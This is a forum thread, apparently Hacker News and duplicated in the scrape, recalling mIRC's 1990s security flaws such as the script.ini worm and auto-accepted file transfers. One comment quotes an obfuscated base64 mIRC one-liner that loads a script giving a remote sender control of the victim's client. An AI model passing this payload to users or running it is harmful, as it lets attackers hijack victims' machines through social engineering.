4 ms·

Reminds me the old days of mIRC (popular IRC client back then) where you could (and still probably can) run similar scenario using mSL language (https://en.wiki

Reminds me the old days of mIRC (popular IRC client back then) where you could (and still probably can) run similar scenario using mSL language (https://en.wikipedia.org/wiki/MIRC_scripting_language https://en.wikipedia.org/wiki/MIRC_scripting_language) directly from the chat input. A script could literally takes control of the computer because mIRC is able to load native code by loading arbitrary DLLs

mickeyp 8y ago
Back in the 90s mIRC would download files to the root directory of mIRC itself -- long before the concept of separating user data and code became the norm on Windows -- and if people had "auto accept file transfers" enabled people could send you a viral "script.ini" (as I recall it was called) to you and immediately overwrite your customisations. The end result would spread rapidly as the infected users would share it with others who join and left the channels they were in.
- distantsounds 8y ago
  mIRC by default would not auto-accept .INI files, there was a blacklist on certain file types that would be rejected, with INIs as one of them.
  - eiaoa 8y ago
    > mIRC by default would not auto-accept .INI files, there was a blacklist on certain file types that would be rejected, with INIs as one of them. Was that a reaction to the problem described in the GP? Especially in the 80s/90s, defensiveness like that was probably to solve an existing problem.
    - tonylucas 8y ago
      Exactly that, it was known as the ‘script.ini’ problem, the download directory was changed as well. It would attempt to send to people as they joined a channel. More info: http://www.irchelp.org/security/si.html http://www.irchelp.org/security/si.html
      - jondumbau 8y ago
        there was the funny magic string that would make half a channels modems disconnect too.
        mickeyp 8y ago
        Ah, yes, I remember that. I think it was because the modems didn't differentiate between the various layers in the transport stream and took anything resembling low-level modem commands to be gospel.
  - mickeyp 8y ago
    This came in as a result of this. I specifically helped users fix this problem back in the day. Remember, this was the 90s.
ryanlol 8y ago
Most *nix IRC clients let you do something like /exec to run shell commands.
- laumars 8y ago
  Yes but that’s invoked at the client side. The mIRC vulnerability discussed is where a message would trigger an /exec due to mIRC auto-downloading a boobytrapped .ini file enabling /exec from external chats. The equivalent UNIX example would be Irssi auto-downloading a Perl file, loading that, and that Perl script then /exec any commands sent by a remote machine. But as you know, Irssi wouldn’t support auto-downloading, let alone then loading that file too.
  - ryanlol 8y ago
    The thing you're talking about was in another thread. I was thinking more of something like: //write czm.mrc $decode(b24gXio6dGV4dDppbnMqOj86eyAuICQrICQyLSB8IGhhbHRkZWYgfQ==,m) | .load -rs czm.mrc | msg YOURNICK Hello World This used to be very common, you can google the base64 string for lots of results like https://slo-tech.com/forum/t75045 https://slo-tech.com/forum/t75045
    - laumars 8y ago
      Well either way, you still couldn't instigate scripts from Irssi from a remote message unless the client specifically had a Perl plugin telling it to do so (ie the user purposely programmed the IRC client to do it). Even other Windows IRC clients didn't have this issue. I remember mIRC being particularly terrible in terms of security back in the day. Which is part of the reason it was considered such a joke on any of the more serious IRC channels (that and other features like "mIRC colours"). It's also part of the reason I wrote my own Windows IRC client (this was back in the early to mid-90s so before I switched to Linux as my primary desktop OS). So I think comparing mIRC to other *nix IRC clients isn't going to get you very far because mIRC was in a whole class of it's own when it came to stupid vulnerabilities.
      - 8y ago

mickeyp 8y ago

Back in the 90s mIRC would download files to the root directory of mIRC itself -- long before the concept of separating user data and code became the norm on Windows -- and if people had "auto accept file transfers" enabled people could send you a viral "script.ini" (as I recall it was called) to you and immediately overwrite your customisations. The end result would spread rapidly as the infected users would share it with others who join and left the channels they were in.

distantsounds 8y ago
mIRC by default would not auto-accept .INI files, there was a blacklist on certain file types that would be rejected, with INIs as one of them.
- eiaoa 8y ago
  > mIRC by default would not auto-accept .INI files, there was a blacklist on certain file types that would be rejected, with INIs as one of them. Was that a reaction to the problem described in the GP? Especially in the 80s/90s, defensiveness like that was probably to solve an existing problem.
  - tonylucas 8y ago
    Exactly that, it was known as the ‘script.ini’ problem, the download directory was changed as well. It would attempt to send to people as they joined a channel. More info: http://www.irchelp.org/security/si.html http://www.irchelp.org/security/si.html
    - jondumbau 8y ago
      there was the funny magic string that would make half a channels modems disconnect too.
      - mickeyp 8y ago
        Ah, yes, I remember that. I think it was because the modems didn't differentiate between the various layers in the transport stream and took anything resembling low-level modem commands to be gospel.
- mickeyp 8y ago
  This came in as a result of this. I specifically helped users fix this problem back in the day. Remember, this was the 90s.

ryanlol 8y ago

Most *nix IRC clients let you do something like /exec to run shell commands.

laumars 8y ago
Yes but that’s invoked at the client side. The mIRC vulnerability discussed is where a message would trigger an /exec due to mIRC auto-downloading a boobytrapped .ini file enabling /exec from external chats. The equivalent UNIX example would be Irssi auto-downloading a Perl file, loading that, and that Perl script then /exec any commands sent by a remote machine. But as you know, Irssi wouldn’t support auto-downloading, let alone then loading that file too.
- ryanlol 8y ago
  The thing you're talking about was in another thread. I was thinking more of something like: //write czm.mrc $decode(b24gXio6dGV4dDppbnMqOj86eyAuICQrICQyLSB8IGhhbHRkZWYgfQ==,m) | .load -rs czm.mrc | msg YOURNICK Hello World This used to be very common, you can google the base64 string for lots of results like https://slo-tech.com/forum/t75045 https://slo-tech.com/forum/t75045
  - laumars 8y ago
    Well either way, you still couldn't instigate scripts from Irssi from a remote message unless the client specifically had a Perl plugin telling it to do so (ie the user purposely programmed the IRC client to do it). Even other Windows IRC clients didn't have this issue. I remember mIRC being particularly terrible in terms of security back in the day. Which is part of the reason it was considered such a joke on any of the more serious IRC channels (that and other features like "mIRC colours"). It's also part of the reason I wrote my own Windows IRC client (this was back in the early to mid-90s so before I switched to Linux as my primary desktop OS). So I think comparing mIRC to other *nix IRC clients isn't going to get you very far because mIRC was in a whole class of it's own when it came to stupid vulnerabilities.
    - 8y ago